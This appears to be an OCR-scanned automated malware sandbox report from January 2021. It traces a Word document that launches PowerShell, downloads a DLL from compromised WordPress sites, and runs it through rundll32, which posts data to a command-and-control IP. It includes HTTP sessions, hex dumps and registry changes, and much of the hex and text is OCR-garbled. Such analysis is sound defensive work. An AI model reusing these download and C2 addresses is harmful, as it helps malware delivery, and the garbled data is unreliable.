20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20
2020 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20
0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20
20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa
20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20
20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20
20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20
20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20
20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20
0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20
20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa
2020 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20
20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20
20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20
20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20
20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20
0a 20 20 20 20 20 20 0a 20 20

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit
Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID Source IP Source Port Destination IP Destination Port Process
3 192.168.2.22 49168 45.130.229.91 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 7, 2021 25 ouT GET /wp-content/n/ HTTP/1.1
18:44:31.765779018 CET Host: shop.elemenslide.com
Connection: Keep-Alive
Jan 7, 2021 25 IN HTTP/1.1 301 Moved Permanently
18:44:32.090152979 CET Date: Thu, 07 Jan 2021 17:44:31 GMT

Server: Apache

Location: https://shop.elemenslide.com/wp-content/n/

Content-Length: 250

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 70 2e 65 6¢ 65 6d 65 6e 73
6¢c 69 64 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62
6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly<f/titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://shop.elemenslide.c
om/wp-content/n/">here</a>.</p></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.22 49171 210.86.239.69 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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Session ID

Timestamp

Jan 7, 2021
18:44:34.306168079 CET

Jan 7, 2021
18:44:34.578701019 CET

Session ID

5

Timestamp

Jan 7, 2021
18:44:47.033138990 CET

Copyright null 2021

Source IP

kBytes
transferred

27

29

Source IP

192.168.2.22

kBytes
transferred

228

Source Port

Direction

ouT

Source Port

49172

Direction

ouT

Destination IP Destination Port Process

Data

GET /wordpress/CGMC/ HTTP/1.1
Host: khanhhoahomnay.net
Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 07 Jan 2021 17:44:34 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: keep-alive

Keep-Alive: timeout=60

X-Powered-By: PHP/7.4.9

Set-Cookie: 5ff74882¢c21e8=1610041474; expires=Thu, 07-Jan-2021 17:45:34 GMT; Max-Age=60; path=/

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Last-Modified: Thu, 07 Jan 2021 17:44:34 GMT

Expires: Thu, 07 Jan 2021 17:44:34 GMT

Content-Disposition: attachment; filename="IVckixaBMeiUca.dll"

Content-Transfer-Encoding: binary

Data Raw: 31 64 64 31 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 95 16 3a bb d1 77 54 e8 d1 77 54 €8 d1 77 54 e8 15 b2 99 e8
dc 77 54 €8 15 b2 9a €8 8e 77 54 €8 15 b2 9b €8 f8 77 54 €8 2d 00 eb €8 d0 77 54 €8 2d 00 e8 €8 d3 77 54 e8 d1 77 55 e
8537754e82d00 ede8cO 77 54e8f6blobe8ds5 7754 e8f6bl9ee8dd7754e8f6blode8d07754e8dl77c3e
8d0 77 54 e8 f6 b1 98 €8 d0 77 54 €8 52 69 63 68 d1 77 54 €8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ffal f3 5
f00 00 00 00 00 00 00 00 0 00 02 21 Ob 01 Ob 00 00 be 00 00 00 4a 02 00 00 00 00 00 dc 45 00 00 00 10 00 00 00 dO 00
00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 03 00 00 04 00 00 00 00
00 00 02 00 00 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 fO 19 01 00 cb 00 00 00 8¢ Of
01 00 b4 00 00 00 00 50 01 00 20 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 03 00 a0 Oc 00 00 10
d2 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 05 01 00 40 00 00 00
00 00 00 00 00 00 00 00 00 dO 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 2e 74 65 78 74 00 00 00 19 bd 00 00 00 10 00 00 00 be 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00
00 60 2e 72 64 61 74 61 00 00 bb 4a 00 00 00 dO 00 00 00 4c 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 40 2e 64 61 74 61 00 00 00 9c 2d 00 00 00 20 01 00 00 10 00 00 00 Oe 01 00 00 00 00 00 00 00 00 00 00 00 00 00
4000 00 c0 2e 72 73 72 63 00 00 00 20 b2 01 00 00 50 01 00 00 b4 01 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00
00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 48 1a 00 00 00 10 03 00 00 1c 00 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00

Data Ascii: 1dd1MZ@!L!This program cannot be run in DOS mode.$:wTwTwTwTWTWT-wT-wTwUSWT-wTwTWTwWTwwTwT
RichwTPEL_!JEOP 8@.text ".rdatalL@@.data- @.rsrc P@@.relocH@B

Destination IP Destination Port Process

5.2.136.90 80 C:\Windows\SysWOW64\rundll32.exe

Data

POST /kgyzxpwz2xbv77ogr/hwcl24a/tlainblv97xym5/vprvaz88294j9p025s/ HTTP/1.1

DNT: 0

Referer: 5.2.136.90/kgyzxpwz2xbv77ogr/hwcl24a/tlainblv97xym5/vprvaz88294j9p025s/

Content-Type: multipart/form-data; boundary= -QoJn3cDxG8j9ficgc6HWz

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 5.2.136.90

Content-Length: 8068

Connection: Keep-Alive

Cache-Control: no-cache
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Timestamp

Jan 7, 2021

kBytes
transferred Direction

238 IN

18:44:47.754265070 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 07 Jan 2021 17:44:49 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 35 38 34 0d 0a 72 bb cb ed 47 2e d6 a8 b1 22 09 67 d7 c6 5d 81 d5 f1 1d 88 ee e5 e9 d7 ee 5d 1f 5f 93 20 bd
d1 6d 3e 7b c4 9c ed a0 ce Oa 7e ef 0d df 57 75 7e 96 12 fO 08 64 8e a3 €3 80 c4 d9 3e d2 48 c1 bc eb 74 7d b8 1c c9 e9
6 48 26 76 83 47 1c 7c 16 4a 54 d4 7b 2b 32 ba 23 6b 71 84 48 4e 1f d7 d5 11 93 88 82 f7 b0 8¢ 94 1a 75 7c 13 42 1e c7
ad 5e 28 b6 9a 76 84 04 bf 8d 92 b9 60 98 1c 21 2f 35 ec c2 d8 c7 0a 49 a2 4a ba fe 04 da af 5e ¢8 96 b9 ec 1b c2 2c 7a ci
c3 d7 5b 60 cf 00 14 c7 aa cc 6b 3a f0 2d d5 44 1d 58 fd 69 c5 95 44 19 c5 dc 8a bb Oc 81 ad 2f ce fa f9 53 33 70 a3 63 c5
9e 32 ea df 29 1e a5 08 9a c5 e4 a6 53 f8 06 d3 32 41 77 be 93 41 20 c3 ca 1c b3 a5 62 b0 d9 fc ae 3e 39 1a cO b5 28 e4
ac 6b 6d d6 94 39 67 d5 64 c5 10 Oa b5 a8 44 46 60 06 cf eb c6 1d cO 8f 02 50 04 60 bb ee 52 2f 4b 78 6¢ 04 a3 6d d2 e4
1 c6 38 fc ff d1 2d b6 d4 6b 82 6d 2b fb a9 8e 7c d5 d4 e5 af 66 30 9e Oa 73 2e dc f6 8d 07 98 de e8 b5 ec 1f ad 89 eb 39
5a 9f b7 32 5b 23 d6 99 c8 70 b4 8f 9d 8a €3 53 61 87 48 66 c8 cd 3b 67 78 b4 73 90 da 01 63 91 8¢ c3 d2 24 d5 93 90 8d
76 77 2d bf 7e c6 7a fd 8e e3 65 b8 ab b5 84 9e 09 07 21 97 7d 45 8d 5 Oa eb 03 8d fe e5 7 ac 69 75 f2 cb de e8 6¢ d3 37
2b 52 137 d590 laeael 1b e7 €6 93 20 79 ec 08 19 58 2b 61 fe 13 53 59 8f 93 5¢ 86 4a a8 b4 fd e0 f3 6d d5 7a e2 86
48 7a 55 ¢4 3d c4 ab €9 96 07 39 25 8d 7c ab 32 37 63 83 8a bb fe b7 72 15 73 08 ca 00 fb 24 23 d2 ca 98 42 8f 4d 6f 4c
c5 bl cl ac a3 a0 48 7b 9f 01 ae bf d8 92 71 da 95 e6 01 ca 18 35 2e a2 b2 ed c3 e4 d2 71 25 53 e8 08 ae 46 09 05 ac 23
83 11 1c ca b2 c7 cc 2e a0 el 94 39 67 94 5¢ 45 7e 90 be 4f 10 ad f6 f1 ed 1b 80 15 42 48 ec 35 b4 1a 68 bd 50 13 db 9¢
dc 23 b3 cb 40 e2 35 4e d6 7c 21 €3 47 cb 10 c1 Ob cb 85 83 d8 cf 66 b1 3c db 51 ce 98 89 05 25 74 ef 42 73 ea 06 eb 73
fa 95 7b 6b 41 5c df de a3 23 25 a9 40 57 a0 7f a7 7e f4 16 57 f5 f5 c7 aa f1 cb €6 c4 65 le ee 85 ff 0a dd 67 32 b5 18 dO
ed f2 f3 8c fc d3 9a 17 89 76 7b c5 d4 28 30 d2 94 5e f1 61 b8 1b f1 €9 51 51 4c 73 cd bc 5e 13 42 2d 17 5a 02 b8 82 a3
95 c1 25 66 33 f8 96 Ob 50 c9 b7 15 eb 3e 8a 04 7a 8b 8f b2 ec 3a df 7a 20 8d cc 35 c0 f3 7e 30 77 19 9f el fb 23 7a 79
99 dd 92 74 13 e0 e5 45 bb 3d 83 3f 01 4d 4a 27 d4 68 08 85 a7 57 f3 38 €1 09 f6 a4 2a c1 66 fa el 09 b5 2e 1b 8b c6 1le
f4 20 3e 52 86 5¢ ¢3 7c d2 86 Ob aa 98 f3 b8 ae de 2a f0 c4 a3 23 b9 a6 f8 03 ef 06 9d c3 1c al ad 80 c3 5e e8 66 a7 b2
6e 76 4a 12 5b 90 20 fc e5 ed 12 a2 2f 59 b7 25 b3 a5 57 08 ae 20 6d 75 da ed 3a f1 a5 10 c0 27 05 ae 66 88 62 7c 74 7a
€2 06 7e 35 c8 cd 3f 2f 96 68 ca de 6e ad d9 bb b6 a7 bf 37 f6 02 b7 65 40 31 17 3e a9 c2 65 71 58 b6 b3 98 76 8f cf 4e 69
e5 3f 88 7e 99 7a d9 26 8¢ 18 94 39 4d 6d 5a f1 75 fe b0 6e 0a 9f €9 af ba 69 d7 0d ba 2d fc 2f ed 7d 27 a7 74 9e 36 9e fO
50 a4 ce 3a 02 2e 03 97 70 6a e0 a0 ad e2 ce 83 0Oa 13 f7 10 34 70 cf 13 5f d2 07 c1 85 cb d2 cb ed b1 fb 23 5b 42 a4 eb 7
982 e83b98 17 28 d0 63 68 34 52 f4 ac 8f be 78 bd 69 14 8 fb 3a 3a c5 93 ea 61 8e 8d 53 2e 14 84 0f c9 fd 1le ee c6 5d
d2 c5 24 22 88 37 b3 a5 44 ae 54 bf aa 2c ce 4f c6 48 91 79 45 7b 06 2f 3c ca 3a 91 0a 59 ¢8 07 79 58 Ob bf df 33 c8 39
01 e7ca95e65babab5eded c38df810b385767512al 9f Oc 7e 17 al 3d Oa 21 3e 3e ec 5e ec de bl 33 57 d4 a6 18
ed 7a 5e f6 8b a0 8f 33 e5 84 da 17 95 06 c6 81 5a 2a b0 41 b2 1le 5a e5 3a 82 b7 91 c0 9b 33 54 €9 66 77 f3 2d a6 Oe 79
d0 96 f8 93 31 ce 42 a3 1f c1 b3 c¢7 dc cc 1a 42 98 a6 46 a0 bl 61 88 32 4a c8 dc 3b

Data Ascii: 584rG."g]]_ m>{~Wu~d>Ht}H&vG|IT{+2#kgHNu|B"(v'!/5137,z[ k:-DXiD/S3pc2)S2AwA b>9(km9gdDF"
P*R/KxIm8-km+|f0s.9Z2[#pSaHf;gxsc$vw-~zel}Eiul7+R yX+aSY\ImzHzU=9%|27crs$#BMoLH{q5.q%SF#.99\E~OBH5hP
#@5N|!Gf<Q%tBss{kA\#%@W~Weg2v{(0"aQQLs"B-Z%f3P>z:z 5~0w#zytE=?MJ'hW8*f. >R\[*#"fnvJ[ /Y%W mu:'fb|tz~
52/hn7e @1>eqXvNi?~z&9IMmZuni-/}t6P:.pj4p_#[By;(ch4Rxi::aS.]$"7DT,OHyE{/<:YyX39[vu~=I>>"3Wz"3Z*AZ:3Tfw-
y1BBFa2J;

® WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundl32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 2364 Parent PID: 584

General

Start time: 18:44:35

Start date: 07/01/2021

Path: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
Imagebase: 0x13f780000

File size: 1424032 bytes

MDS5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE91226B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DFEA16BDA320E68F38.TMP success or wait 1 7FEE9049ACO unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEEQ05E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEEQ05E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEEQ05E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEE9049ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency success or wait 1 7FEE9049ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery success or wait 1 7FEE9049ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F7761 success or wait 1 7FEE9049ACO unknown

Key Value Created
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F7761

Copyright null 2021

Name

Cambria Math

Tahoma

F7761

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 3C 09 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
D2 73 AF 4E 68 E5 D6 01 61 77 OF
00 61 77 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEE9049ACO unknown

7FEE9049ACO unknown

7FEE9049ACO unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F7761

Copyright null 2021

Name

ProductFiles

ProductFiles

F7761

Type

dword

dword

binary

Name

Type

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 FF FF FF FF

Old Data
1378287662

1378287663

04 00 00 00 3C 09 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

New Data

1378287663

1378287664

04 00 00 00 3C 09 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

00 67 00 73 00 2E 00 68 00 74 00 67 00 73 00 2E 00 68 00 74

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00
D2 73 AF 4E 68 E5 D6 01 61
77 OF 00 61 77 OF 00 00 00
00 00 DB 04 00 00 02 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 6D 00 04 00 00 00 69 00

6D 00 67 00 73 00 00 00 00

00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 61 77 OF
00 61 77 OF 00 00 00 00 00

DB 04 00 00 02 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 FF
FF FF FF 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7FEE9049ACO unknown

7FEE9049ACO unknown

7FEE9049ACO unknown
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Key Path

Copyright null 2021

Name

Type

